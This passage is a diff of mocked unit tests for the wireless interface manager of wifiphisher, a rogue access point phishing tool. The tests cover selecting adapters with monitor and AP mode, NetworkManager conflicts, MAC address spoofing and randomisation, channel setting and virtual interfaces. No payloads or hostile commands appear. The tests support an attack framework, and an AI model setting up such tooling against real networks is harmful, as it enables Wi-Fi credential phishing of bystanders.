self.assertRaises(interfaces.InvalidInterfaceError): + self.network_manager.is_interface_valid(interface_name) - # set the return value and call the method - mock_pyric.getcard.return_value = None - mock_pyric.devmodes.return_value = ["AP"] - mock_pyric.winterfaces.return_value = ["wlan0"] - self.network_manager._check_compatibility(interface) + def test_is_interface_valid_no_interface_error(self): + """ + Tests is_interface_valid method when interface is non existent + """ - # check that values are correct - self.assertTrue(interface.has_ap_mode()) - self.assertFalse(interface.has_monitor_mode()) + interface_name = "wlan0" - @mock.patch("wifiphisher.interfaces.pyric") - def test_check_compatibility_no_ap_has_monitor(self, mock_pyric): + with self.assertRaises(interfaces.InvalidInterfaceError): + self.network_manager.is_interface_valid(interface_name) + + def test_is_interface_valid_no_ap_error(self): """ - Test _check_compatibility method while the interface doesn't have AP - support but it has monitor support + Tests is_interface_valid method when interface has no AP + mode support but it is required """ - # create a interface - interface = interfaces.NetworkAdapter("wlan0") + interface_name = "wlan0" + interface_object = "Card Object" + adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address) + adapter.has_ap_mode = False + self.network_manager._name_to_object[interface_name] = adapter + + with self.assertRaises(interfaces.InvalidInterfaceError): + self.network_manager.is_interface_valid(interface_name, "AP") + + def test_is_interface_valid_has_ap_true(self): + """ + Tests is_interface_valid method when interface has AP + mode support and it is required + """ - # set the return value and call the method - mock_pyric.getcard.return_value = None - mock_pyric.devmodes.return_value = ["monitor"] - mock_pyric.winterfaces.return_value = ["wlan0"] - self.network_manager._check_compatibility(interface) + interface_name = "wlan0" + interface_object = "Card Object" + adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address) + adapter.has_ap_mode = True + self.network_manager._name_to_object[interface_name] = adapter - # check that values are correct - self.assertFalse(interface.has_ap_mode()) - self.assertTrue(interface.has_monitor_mode()) + actual = self.network_manager.is_interface_valid(interface_name, "AP") + message = "Failed to validate an interface with AP mode available and requested" + self.assertTrue(actual, message) - @mock.patch("wifiphisher.interfaces.pyric") - def test_check_compatibility_has_ap_has_monitor(self, mock_pyric): + def test_is_interface_valid_has_monitor_true(self): """ - Test _check_compatibility method while the interface has AP support - and monitor support + Tests is_interface_valid method when interface has monitor + mode support and it is required """ - # create a interface - interface = interfaces.NetworkAdapter("wlan0") + interface_name = "wlan0" + interface_object = "Card Object" + adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address) + adapter.has_monitor_mode = True + self.network_manager._name_to_object[interface_name] = adapter - # set the return value and call the method - mock_pyric.getcard.return_value = None - mock_pyric.devmodes.return_value = ["monitor", "AP"] - mock_pyric.winterfaces.return_value = ["wlan0"] - self.network_manager._check_compatibility(interface) + actual = self.network_manager.is_interface_valid(interface_name, "monitor") + message = "Failed to validate an interface with monitor mode available and requested" + self.assertTrue(actual, message) - # check that values are correct - self.assertTrue(interface.has_ap_mode()) - self.assertTrue(interface.has_monitor_mode()) + def test_is_interface_valid_no_monitor_error(self): + """ + Tests is_interface_valid method when interface has no monitor + mode support and it is required + """ + + interface_name = "wlan0" + interface_object = "Card Object" + adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address) + adapter.has_monitor_mode = False + self.network_manager._name_to_object[interface_name] = adapter + + with self.assertRaises(interfaces.InvalidInterfaceError): + self.network_manager.is_interface_valid(interface_name, "monitor") - @mock.patch("wifiphisher.interfaces.pyric") - def test_set_interface_mode(self, mock_pyric): + def test_is_interface_valid_mode_monitor_is_managed_by_nm_error(self): """ - Test set_interface_mode method + Tests is_interface_valid when the adapter is required as monitor but + is managed by NetworkManager """ - interface = "wlan0" + interface_name = "wlan0" + adapter = interfaces.NetworkAdapter(interface_name, "CARD", "00:00:00:00:00:00") + adapter.is_managed_by_nm = True + adapter.has_monitor_mode = True + self.network_manager._name_to_object[interface_name] = adapter + self.network_manager.internet_access_enable = True + with self.assertRaises(interfaces.InterfaceManagedByNetworkManagerError): + self.network_manager.is_interface_valid(interface_name, "monitor") - # set return value - mock_pyric.getcard.return_value = "test" + def test_is_interface_valid_mode_monitor_is_managed_by_nm_true(self): + """ + Tests is_interface_valid when the adapter is required as monitor and is not managed by + NetworkManager + """ - # call the method - self.network_manager.set_interface_mode(interface, "monitor") + interface_name = "wlan0" + adapter = interfaces.NetworkAdapter(interface_name, "CARD", "00:00:00:00:00:00") + adapter.is_managed_by_nm = False + adapter.has_monitor_mode = True + self.network_manager._name_to_object[interface_name] = adapter + actual = self.network_manager.is_interface_valid(interface_name, "monitor") - # check that methods are called with the right parameters - mock_pyric.down.assert_called_with("test") - mock_pyric.modeset.assert_called_with("test", "monitor") - mock_pyric.up.assert_called_with("test") + message = "Failed to validate an interface with monitor mode" + self.assertTrue(actual, message) - def test_find_interface_monitor_exists(self): + def test_is_interface_valid_mode_ap_is_managed_by_nm_error(self): """ - Test _find_interface method asking for a interface with monitor support - that exists + Tests is_interface_valid when the adapter is required as AP but + is managed by NetworkManager """ - # create fake interface with monitor support - interface0 = interfaces.NetworkAdapter("wlan0") - interface0.set_monitor_support(True) - self.network_manager._interfaces.append(interface0) + interface_name = "wlan0" + adapter = interfaces.NetworkAdapter(interface_name, "CARD", "00:00:00:00:00:00") + adapter.is_managed_by_nm = True + adapter.has_ap_mode = True + self.network_manager._name_to_object[interface_name] = adapter + self.network_manager.internet_access_enable = True + self.assertRaises( + interfaces.InterfaceManagedByNetworkManagerError, + self.network_manager.is_interface_valid, interface_name, "AP") + + def test_is_interface_valid_mode_ap_is_managed_by_nm_true(self): + """ + Tests is_interface_valid when the adapter is required as monitor and is not managed by + NetworkManager + """ - actual = self.network_manager._find_interface(has_monitor_mode=True) + interface_name = "wlan0" + adapter = interfaces.NetworkAdapter(interface_name, "CARD", "00:00:00:00:00:00") + adapter.is_managed_by_nm = False + adapter.has_ap_mode = True + self.network_manager._name_to_object[interface_name] = adapter + actual = self.network_manager.is_interface_valid(interface_name, "AP") - self.assertEqual(actual, interface0) + message = "Failed to validate an interface with AP mode" + self.assertTrue(actual, message) - def test_find_interface_ap_exists(self): + def test_is_interface_valid_mode_internet_is_managed_by_nm_true(self): """ - Test _find_interface method asking for a interface with AP support - that exists + Tests is_interface_valid when the adapter is internet mode """ - # create fake interface with AP support - interface0 = interfaces.NetworkAdapter("wlan0") - interface0.set_ap_support(True) - self.network_manager._interfaces.append(interface0) + interface_name = "wlan0" + self.network_manager = interfaces.NetworkManager() + adapter = interfaces.NetworkAdapter(interface_name, "CARD", "00:00:00:00:00:00") + adapter.is_managed_by_nm = True + self.network_manager._name_to_object[interface_name] = adapter + + actual = self.network_manager.is_interface_valid(interface_name, "internet") + message = "Failed to validate an interface with internet mode" + self.assertTrue(actual, message) + + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_set_interface_mode_interface_none(self, pyric): + """ Test set_interface_mode method under normal conditions """ + + interface_name = "wlan0" + interface_object = "Card Object" + mode = "monitor" + adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address) + self.network_manager._name_to_object[interface_name] = adapter + + self.network_manager.set_interface_mode(interface_name, mode) + + pyric.modeset.assert_called_once_with(interface_object, mode) - actual = self.network_manager._find_interface(has_ap_mode=True) - self.assertEqual(actual, interface0) + def test_get_interface_no_interface_error(self): + """ + Tests get_interface method when no interface can be found + """ - def test_find_interface_AP_not_exists(self): + with self.assertRaises(interfaces.InterfaceCantBeFoundError): + self.network_manager.get_interface(True) + + def test_get_interface_active_interface_error(self): """ - Test _find_interface method asking for a interface with AP support - that does not exists + Tests get_interface method when no interface can be found + because interface is active """ - # create fake interface - interface0 = interfaces.NetworkAdapter("wlan0") - self.network_manager._interfaces.append(interface0) + interface_name = "wlan0" + interface_object = "Card Object" + adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address) + self.network_manager._name_to_object[interface_name] = adapter + self.network_manager._active.add(interface_name) - self.assertRaises(interfaces.NoApInterfaceFoundError, - self.network_manager._find_interface, [True]) + with self.assertRaises(interfaces.InterfaceCantBeFoundError): + self.network_manager.get_interface(has_monitor_mode=True) - def test_find_interface_no_monitor_interface(self): + def test_get_interface_no_ap_available_error(self): """ - Test _find_interface method asking for a interface with monitor support - that does not exists + Tests get_interface method when interface with specified mode + can't be found """ - # create fake interface - interface0 = interfaces.NetworkAdapter("wlan0") - self.network_manager._interfaces.append(interface0) + interface_name = "wlan0" + interface_object = "Card Object" + adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address) + adapter.has_ap_mode = False + adapter.has_monitor_mode = False + self.network_manager._name_to_object[interface_name] = adapter + + with self.assertRaises(interfaces.InterfaceCantBeFoundError): + self.network_manager.get_interface(True) + + def test_get_interface_1_ap_interface(self): + """ + Tests get_interface method when one interface supports AP + and monitor and the other supports only AP + """ - self.assertRaises(interfaces.NoApInterfaceFoundError, - self.network_manager._find_interface, [False, True]) + interface_name_0 = "wlan0" + interface_name_1 = "wlan1" + interface_object = "Card Object" + adapter_0 = interfaces.NetworkAdapter(interface_name_0, interface_object, self.mac_address) + adapter_1 = interfaces.NetworkAdapter(interface_name_1, interface_object, self.mac_address) + self.network_manager._name_to_object[interface_name_0] = adapter_0 + self.network_manager._name_to_object[interface_name_1] = adapter_1 + adapter_0.has_monitor_mode = True + adapter_0.has_ap_mode = True + adapter_1.has_ap_mode = True + + expected = interface_name_1 + actual = self.network_manager.get_interface(True, False) + self.assertEqual(expected, actual) + + def test_get_interface_1_mon_interface(self): + """ + Tests get_interface method when one interface supports AP + and monitor and the other supports only Monitor + """ - def test_find_interface_automatically_no_ap_interface(self): + interface_name_0 = "wlan0" + interface_name_1 = "wlan1" + interface_object = "Card Object" + adapter_0 = interfaces.NetworkAdapter(interface_name_0, interface_object, self.mac_address) + adapter_1 = interfaces.NetworkAdapter(interface_name_1, interface_object, self.mac_address) + self.network_manager._name_to_object[interface_name_0] = adapter_0 + self.network_manager._name_to_object[interface_name_1] = adapter_1 + adapter_0.has_monitor_mode = True + adapter_0.has_ap_mode = True + adapter_1.has_monitor_mode = True + + expected = interface_name_1 + actual = self.network_manager.get_interface(False, True) + self.assertEqual(expected, actual) + + def test_get_interface_1_ap_monitor_interface(self): """ - Test _find_interface_automatically method when no AP interfaces are - present + Tests get_interface method when interface with both AP and + monitor mode are given as input """ - # create a fake interface with monitor mode - interface = interfaces.NetworkAdapter("wlan0") - interface.set_monitor_support(True) - self.network_manager._interfaces.append(interface) + interface_name = "wlan0" + interface_object = "Card Object" + adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address) + adapter.has_ap_mode = True + adapter.has_monitor_mode = True + self.network_manager._name_to_object[interface_name] = adapter - self.assertRaises(interfaces.NoApInterfaceFoundError, - self.network_manager._find_interface_automatically) + expected = interface_name + actual = self.network_manager.get_interface(True, True) - def test_find_interface_automatically_no_monitor_interface(self): + self.assertEqual(expected, actual) + + def test_get_interface_1_ap_monitor_is_managed_by_nm_error(self): """ - Test _find_interface_automatically method when no monitor interfaces - are present + Tests get_interface method when interface with both AP and + monitor mode are given as input but the adapter is managed + by NetworkManager """ - # create a fake interface with AP mode - interface = interfaces.NetworkAdapter("wlan0") - interface.set_ap_support(True) - self.network_manager._interfaces.append(interface) + interface_name = "wlan0" + interface_object = "Card Object" + adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address) + adapter.has_ap_mode = True + adapter.has_monitor_mode = True + adapter.is_managed_by_nm = True + self.network_manager._name_to_object[interface_name] = adapter + self.network_manager.internet_access_enable = True - self.assertRaises(interfaces.NoMonitorInterfaceFoundError, - self.network_manager._find_interface_automatically) + self.assertRaises( + interfaces.InterfaceManagedByNetworkManagerError, + self.network_manager.get_interface, True, True) - def test_find_interface_automatically_case_0(self): + def test_get_interface_2_ap_monitor_is_managed_by_nm_error(self): """ - Test _find_interface_automatically method when two interfaces are given - and both interfaces support AP and monitor mode + Tests get_interface method when 2 interfaces with both AP and + monitor mode are given as input but the adapters are both managed + by NetworkManager """ - # create fake interfaces - interface0 = interfaces.NetworkAdapter("wlan0") - interface1 = interfaces.NetworkAdapter("wlan1") + interface_name_0 = "wlan0" + interface_name_1 = "wlan1" + interface_object = "Card Object" + adapter_0 = interfaces.NetworkAdapter(interface_name_0, interface_object, self.mac_address) + adapter_1 = interfaces.NetworkAdapter(interface_name_1, interface_object, self.mac_address) + self.network_manager._name_to_object[interface_name_0] = adapter_0 + self.network_manager._name_to_object[interface_name_1] = adapter_1 + self.network_manager.internet_access_enable = True + adapter_0.has_monitor_mode = True + adapter_1.has_monitor_mode = True + adapter_0.has_ap_mode = True + adapter_1.has_ap_mode = True + adapter_0.is_managed_by_nm = True + adapter_1.is_managed_by_nm = True + + self.assertRaises( + interfaces.InterfaceManagedByNetworkManagerError, + self.network_manager.get_interface, True, True) + + def test_get_interface_2_ap_monitor_is_managed_by_nm_1_ap_mon_interface(self): + """ + Test get_interface method get the correct interface when 1 + card is managed and the other card is unmanaged by NetworkManager + """ - # set AP and monitor support - interface0.set_ap_support(True) - interface0.set_monitor_support(True) - interface1.set_ap_support(True) - interface1.set_monitor_support(True) + interface_name_0 = "wlan0" + interface_name_1 = "wlan1" + interface_object = "Card Object" + adapter_0 = interfaces.NetworkAdapter(interface_name_0, interface_object, self.mac_address) + adapter_1 = interfaces.NetworkAdapter(interface_name_1, interface_object, self.mac_address) + self.network_manager._name_to_object[interface_name_0] = adapter_0 + self.network_manager._name_to_object[interface_name_1] = adapter_1 + self.network_manager.internet_access_enable = True + adapter_0.has_monitor_mode = True + adapter_1.has_monitor_mode = True + adapter_0.has_ap_mode = True + adapter_1.has_ap_mode = True + adapter_0.is_managed_by_nm = True + adapter_1.is_managed_by_nm = False + + expected = interface_name_1 + actual = self.network_manager.get_interface(True, True) + self.assertEqual(expected, actual) + + def test_get_interface_automatically_no_interface_error(self): + """ + Tests get_interface_automatically method when no interface + is found + """ - # add the interfaces to the list - self.network_manager._interfaces.append(interface0) - self.network_manager._interfaces.append(interface1) + with self.assertRaises(interfaces.InterfaceCantBeFoundError): + self.network_manager.get_interface_automatically() - expected = (interface1, interface0) - actual = self.network_manager._find_interface_automatically() + def test_get_interface_automatically_2_monitor_error(self): + """ + Tests get_interface_automatically method when two interfaces + are available but only support monitor mode + """ - self.assertEqual(actual, expected) + interface_name_0 = "wlan0" + interface_name_1 = "wlan1" + interface_object = "Card Object" + adapter_0 = interfaces.NetworkAdapter(interface_name_0, interface_object, self.mac_address) + adapter_1 = interfaces.NetworkAdapter(interface_name_1, interface_object, self.mac_address) + adapter_0.has_monitor_mode = True + adapter_1.has_monitor_mode = True + self.network_manager._name_to_object[interface_name_0] = adapter_0 + self.network_manager._name_to_object[interface_name_1] = adapter_1 + + with self.assertRaises(interfaces.InterfaceCantBeFoundError): + self.network_manager.get_interface_automatically() - def test_find_interface_automatically_case_1(self): + def test_get_interface_automatically_2_ap_error(self): """ - Test _find_interface_automatically method when two interfaces are - given. One interfaces support AP and monitor mode while the other - interface only supports monitor mode. + Tests get_interface_automatically method when two interfaces + are available but only support AP mode """ - # create fake interfaces - interface0 = interfaces.NetworkAdapter("wlan0") - interface1 = interfaces.NetworkAdapter("wlan1") + interface_name_0 = "wlan0" + interface_name_1 = "wlan1" + interface_object = "Card Object" + adapter_0 = interfaces.NetworkAdapter(interface_name_0, interface_object, self.mac_address) + adapter_1 = interfaces.NetworkAdapter(interface_name_1, interface_object, self.mac_address) + adapter_0.has_ap_mode = True + adapter_1.has_ap_mode = True + self.network_manager._name_to_object[interface_name_0] = adapter_0 + self.network_manager._name_to_object[interface_name_1] = adapter_1 - # set AP and monitor support - interface0.set_ap_support(True) - interface0.set_monitor_support(True) - interface1.set_monitor_support(True) + with self.assertRaises(interfaces.InterfaceCantBeFoundError): + self.network_manager.get_interface_automatically() - # add the interfaces to the list - self.network_manager._interfaces.append(interface0) - self.network_manager._interfaces.append(interface1) + def test_get_interface_automatically_1_ap_1_mon_interfaces(self): + """ + Tests get_interface_automatically method when 1 AP and 1 + monitor interface are given as inputs + """ - expected = (interface1, interface0) - actual = self.network_manager._find_interface_automatically() + interface_name_0 = "wlan0" + interface_name_1 = "wlan1" + interface_object = "Card Object" + adapter_0 = interfaces.NetworkAdapter(interface_name_0, interface_object, self.mac_address) + adapter_1 = interfaces.NetworkAdapter(interface_name_1, interface_object, self.mac_address) + adapter_0.has_monitor_mode = True + adapter_1.has_ap_mode = True + self.network_manager._name_to_object[interface_name_0] = adapter_0 + self.network_manager._name_to_object[interface_name_1] = adapter_1 - self.assertEqual(actual, expected) + expected = (interface_name_0, interface_name_1) + actual = self.network_manager.get_interface_automatically() - def test_find_interface_automatically_case_2(self): + self.assertEqual(expected, actual) + + def test_get_interface_automatically_1_ap_mon_1_mon_interfaces(self): """ - Test _find_interface_automatically method when two interfaces are - given. both interfaces support AP mode while only one interface - supports AP mode. + Tests get_interface_automatically method when 1 AP and monitor + and 1 monitor interface are given as inputs """ - # create fake interfaces - interface0 = interfaces.NetworkAdapter("wlan0") - interface1 = interfaces.NetworkAdapter("wlan1") + interface_name_0 = "wlan0" + interface_name_1 = "wlan1" + interface_object = "Card Object" + adapter_0 = interfaces.NetworkAdapter(interface_name_0, interface_object, self.mac_address) + adapter_1 = interfaces.NetworkAdapter(interface_name_1, interface_object, self.mac_address) + adapter_0.has_ap_mode = True + adapter_0.has_monitor_mode = True + adapter_1.has_ap_mode = True + self.network_manager._name_to_object[interface_name_0] = adapter_0 + self.network_manager._name_to_object[interface_name_1] = adapter_1 + + expected = (interface_name_0, interface_name_1) + actual = self.network_manager.get_interface_automatically() + + self.assertEqual(expected, actual) - # set AP and monitor support - interface0.set_ap_support(True) - interface0.set_monitor_support(True) - interface1.set_ap_support(True) + def test_get_interface_automatically_1_ap_1_mon_ap_interfaces(self): + """ + Tests get_interface_automatically method when 1 AP and 1 + monitor and AP interface are given as inputs + """ - # add the interfaces to the list - self.network_manager._interfaces.append(interface0) - self.network_manager._interfaces.append(interface1) + interface_name_0 = "wlan0" + interface_name_1 = "wlan1" + interface_object = "Card Object" + adapter_0 = interfaces.NetworkAdapter(interface_name_0, interface_object, self.mac_address) + adapter_1 = interfaces.NetworkAdapter(interface_name_1, interface_object, self.mac_address) + adapter_0.has_monitor_mode = True + adapter_1.has_ap_mode = True + adapter_1.has_monitor_mode = True + self.network_manager._name_to_object[interface_name_0] = adapter_0 + self.network_manager._name_to_object[interface_name_1] = adapter_1 - expected = (interface0, interface1) - actual = self.network_manager._find_interface_automatically() + expected = (interface_name_0, interface_name_1) + actual = self.network_manager.get_interface_automatically() - self.assertEqual(actual, expected) + self.assertEqual(expected, actual) - def test_find_interface_automatically_case_3(self): + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_unblock_interface_is_blocked_none(self, pyric): """ - Test _find_interface_automatically method when two interfaces are - given and one interfaces support AP and monitor mode while the other - interface supports neither. + Tests unblock_interface when the interface is blocked """ - # create fake interfaces - interface0 = interfaces.NetworkAdapter("wlan0") - interface1 = interfaces.NetworkAdapter("wlan1") + interface_name = "wlan0" + interface_object = "Card Object" + adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address) + self.network_manager._name_to_object[interface_name] = adapter - # set AP and monitor support - interface0.set_ap_support(True) - interface0.set_monitor_support(True) + pyric.isblocked.return_value = True - # add the interfaces to the list - self.network_manager._interfaces.append(interface0) - self.network_manager._interfaces.append(interface1) + self.network_manager.unblock_interface(interface_name) - self.assertRaises(interfaces.NoMonitorInterfaceFoundError, - self.network_manager._find_interface_automatically) + pyric.unblock.assert_called_once_with(interface_object) - def test_find_interface_automatically_case_4(self): + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_unblock_interface_not_blocked_none(self, pyric): """ - Test _find_interface_automatically method when two interfaces are - given and both interfaces only support monitor mode. + Tests unblock_interface when the interface is blocked """ - # create fake interfaces - interface0 = interfaces.NetworkAdapter("wlan0") - interface1 = interfaces.NetworkAdapter("wlan1") + interface_name = "wlan0" + interface_object = "Card Object" + adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address) + self.network_manager._name_to_object[interface_name] = adapter - # set AP and monitor support - interface0.set_monitor_support(True) - interface1.set_monitor_support(True) + pyric.isblocked.return_value = False - # add the interfaces to the list - self.network_manager._interfaces.append(interface0) - self.network_manager._interfaces.append(interface1) + self.network_manager.unblock_interface(interface_name) - self.assertRaises(interfaces.NoApInterfaceFoundError, - self.network_manager._find_interface_automatically) + pyric.unblock.assert_not_called() - def test_get_interfaces_no_interface(self): + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_set_interface_channel_normal_none(self, pyric): """ - Test get_interfaces method with no interface present + Tests set_interface_channel method when setting a channel """ - self.assertRaises(interfaces.NotEnoughInterfacesFoundError, - self.network_manager.get_interfaces) + interface_name = "wlan0" + interface_object = "Card Object" + channel = 4 + adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address) + self.network_manager._name_to_object[interface_name] = adapter - def test_get_interfaces_valid_jamming_argument(self): + self.network_manager.set_interface_channel(interface_name, channel) + + pyric.chset.assert_called_once_with(interface_object, channel) + + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_start_no_interface_none(self, pyric): """ - Test get_interfaces method with a valid jamming argument + Tests start method when no interface is found """ - # create fake interfaces - interface0 = interfaces.NetworkAdapter("wlan0") - interface1 = interfaces.NetworkAdapter("wlan1") + pyric.interfaces.return_value = [] - # make both interfaces support AP and monitor - interface0.set_monitor_support(True) - interface1.set_ap_support(True) + # just checking to make sure no errors were produced + self.assertIsNone(self.network_manager.start()) - # add the interfaces to the list - network_manager = interfaces.NetworkManager("wlan0", None) - network_manager._interfaces.append(interface0) - network_manager._interfaces.append(interface1) + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_start_has_interface_none(self, pyric): + """ + Tests start method when interface(s) has been found + """ - expected = ("wlan0", "wlan1") + interface_name = "wlan0" + pyric.interfaces.return_value = [interface_name] - self.assertEqual(network_manager.get_interfaces(), expected) + # just checking to make sure no errors were produced + self.assertIsNone(self.network_manager.start()) - def test_get_interfaces_valid_jamming_argument_no_ap(self): + @mock.patch("wifiphisher.common.interfaces.pyw.getcard") + def test_start_interface_not_compatible_none(self, pyw): """ - Test get_interfaces method with a valid jamming argument but no - interface with AP mode + Tests start method when interface is not supported """ - # create fake interfaces - interface0 = interfaces.NetworkAdapter("wlan0") - interface1 = interfaces.NetworkAdapter("wlan1") + pyw.side_effect = pyric.error(93, "Device does not support nl80211") + self.network_manager.start() - # make both interfaces support AP and monitor - interface0.set_monitor_support(True) - interface1.set_monitor_support(True) + @mock.patch("wifiphisher.common.interfaces.pyw.getcard") + def test_start_interface_no_such_device_none(self, pyw): + """ + Tests start method when there is no such interface + """ - # add the interfaces to the list - network_manager = interfaces.NetworkManager("wlan0", None) - network_manager._interfaces.append(interface0) - network_manager._interfaces.append(interface1) + pyw.side_effect = pyric.error(19, "No such device") - self.assertRaises(interfaces.NoApInterfaceFoundError, - network_manager.get_interfaces) + # just checking to make sure error is not raised + self.assertIsNone(self.network_manager.start()) - def test_get_interfaces_invalid_jamming_argument(self): + @mock.patch("wifiphisher.common.interfaces.pyw.getcard") + def test_start_interface_unidentified_error_error(self, pyw): """ - Test get_interfaces method with a invalid jamming argument + Tests start method when an unidentified error has happened + while getting the card """ - # create fake interfaces - interface0 = interfaces.NetworkAdapter("wlan0") - interface1 = interfaces.NetworkAdapter("wlan1") + pyw.side_effect = pyric.error(2220, "This is a fake error") + + with self.assertRaises(pyric.error) as error: + self.network_manager.start() - # make both interfaces support AP and monitor - interface0.set_monitor_support(True) - interface1.set_ap_support(True) + the_exception = error.exception + self.assertEqual(the_exception[0], 2220, "The error was not caught.") - # add the interfaces to the list - network_manager = interfaces.NetworkManager("wlan3", None) - network_manager._interfaces.append(interface0) - network_manager._interfaces.append(interface1) + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_on_exit_no_active_none(self, pyw): + """ + Tests on_exit method when there are no active interfaces + """ - self.assertRaises(interfaces.JammingInterfaceInvalidError, - network_manager.get_interfaces) + self.network_manager.on_exit() + pyw.modeset.assert_not_called() - def test_get_interfaces_valid_ap_argument(self): + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_on_exit_has_active_none(self, pyric): """ - Test get_interfaces method with a valid AP argument + Tests on_exit method when there are active interfaces + """ + + interface_name = "wlan0" + interface_object = "Card Object" + mode = "managed" + adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address) + self.network_manager._name_to_object[interface_name] = adapter + self.network_manager._active.add(interface_name) + + self.network_manager.on_exit() + + pyric.modeset.assert_called_once_with(interface_object, mode) + + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_set_interface_mac_invalid_mac_error(self, pyw): """ + Test set_interface_mac with an invalid MAC address to raise an + error + """ + + pyw.macset.side_effect = pyric.error(22, "Invalid mac address") + + interface_name = "wlan0" + interface_object = "Card Object" + mac_address = "1" + adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address) + self.network_manager._name_to_object[interface_name] = adapter + self.network_manager._active.add(interface_name) + + with self.assertRaises(interfaces.InvalidMacAddressError): + self.network_manager.set_interface_mac(interface_name, mac_address) + + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_set_interface_mac_valid_mac_none(self, pyw): + """ + Test set_interface_mac with an valid MAC address to simulate + normal operation + """ + + interface_name = "wlan0" + interface_object = "Card Object" + mac_address = "11:22:33:44:55:66" + adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address) + self.network_manager._name_to_object[interface_name] = adapter + self.network_manager._active.add(interface_name) + + operation = self.network_manager.set_interface_mac(interface_name, mac_address) + message = "Failed when a valid mac address was provided" + self.assertIsNone(operation, message) + + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_set_interface_unexpected_error(self, pyw): + """ + Test set_interface_mac when an unexpected error occurs + """ + + pyw.macset.side_effect = pyric.error(5534, "Unexpected error") - # create fake interfaces - interface0 = interfaces.NetworkAdapter("wlan0") - interface1 = interfaces.NetworkAdapter("wlan1") + interface_name = "wlan0" + interface_object = "Card Object" + mac_address = "11:22:33:44:55:66" + adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address) + self.network_manager._name_to_object[interface_name] = adapter + self.network_manager._active.add(interface_name) - # make both interfaces support AP and monitor - interface0.set_ap_support(True) - interface1.set_monitor_support(True) + with self.assertRaises(interfaces.InvalidMacAddressError): + self.network_manager.set_interface_mac(interface_name, mac_address) - # add the interfaces to the list - network_manager = interfaces.NetworkManager(None, "wlan0") - network_manager._interfaces.append(interface0) - network_manager._interfaces.append(interface1) + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_set_interface_mac_random_none(self, pyw): + """ + Test set_interface_mac_random under normal conditions + """ + + new_mac_address = "00:11:22:33:44:55" + + interface_name = "wlan0" + interface_object = "Card Object" + adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address) + self.network_manager._name_to_object[interface_name] = adapter + self.network_manager._active.add(interface_name) - expected = ("wlan1", "wlan0") + with mock.patch("wifiphisher.common.interfaces.generate_random_address") as generator: + generator.return_value = new_mac_address + self.network_manager.set_interface_mac_random(interface_name) - self.assertEqual(network_manager.get_interfaces(), expected) + pyw.macset.assert_called_once_with(interface_object, new_mac_address) - def test_get_interfaces_valid_ap_argument_no_monitor(self): + def test_get_interface_mac_address(self): """ - Test get_interfaces method with a valid AP argument but no interface - with monitor mode + Test get_interface_mac under normal conditions """ - # create fake interfaces - interface0 = interfaces.NetworkAdapter("wlan0") - interface1 = interfaces.NetworkAdapter("wlan1") + interface_name = "wlan0" + interface_object = "Card Object" + adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address) + self.network_manager._name_to_object[interface_name] = adapter + self.network_manager._active.add(interface_name) - # make both interfaces support AP and monitor - interface0.set_ap_support(True) - interface1.set_ap_support(True) + self.assertEqual(self.network_manager.get_interface_mac(interface_name), self.mac_address) - # add the interfaces to the list - network_manager = interfaces.NetworkManager(None, "wlan0") - network_manager._interfaces.append(interface0) - network_manager._interfaces.append(interface1) + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_up_interface(self, pyric): + """ + Test interface up + """ + interface_name = "wlan0" + interface_object = "Card Object" + adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address) + self.network_manager._name_to_object[interface_name] = adapter + self.network_manager.up_interface(interface_name) + pyric.up.assert_called_once_with(adapter.card) + + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_down_interface(self, pyric): + """ + Test interface down + """ + interface_name = "wlan0" + interface_object = "Card Object" + adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address) + self.network_manager._name_to_object[interface_name] = adapter + self.network_manager.down_interface(interface_name) + pyric.down.assert_called_once_with(adapter.card) + + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_add_virtual_interface_success(self, pyric): + """ + Test add_virtual_interface correctly add vif + """ - self.assertRaises(interfaces.NoMonitorInterfaceFoundError, - network_manager.get_interfaces) + card = mock.Mock() + pyric.down.return_value = None + pyric.devadd.return_value = None + actual = self.network_manager.add_virtual_interface(card) + expected = 'wlan1' + self.assertEqual(actual, expected) - def test_get_interfaces_valid_monitor_argument_no_ap(self): + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_remove_vifs_added(self, pyric): + card = mock.Mock() + self.network_manager._vifs_add = set() + self.network_manager._vifs_add.add(card) + pyric.devdel.return_value = None + self.network_manager.remove_vifs_added() + pyric.devdel.assert_called_once() + + @mock.patch("wifiphisher.common.interfaces.pyw") + def test_add_virtual_interface_first_run_error_second_run_success(self, mock_pyric): """ - Test get_interfaces method with a valid monitor argument but no - interface with AP mode + Test add_virtual_interface when the interface name already exist + This case should return pyric.error for the first time """ - # create fake interfaces - interface0 = interfaces.NetworkAdapter("wlan0") - interface1 = interfaces.NetworkAdapter("wlan1") 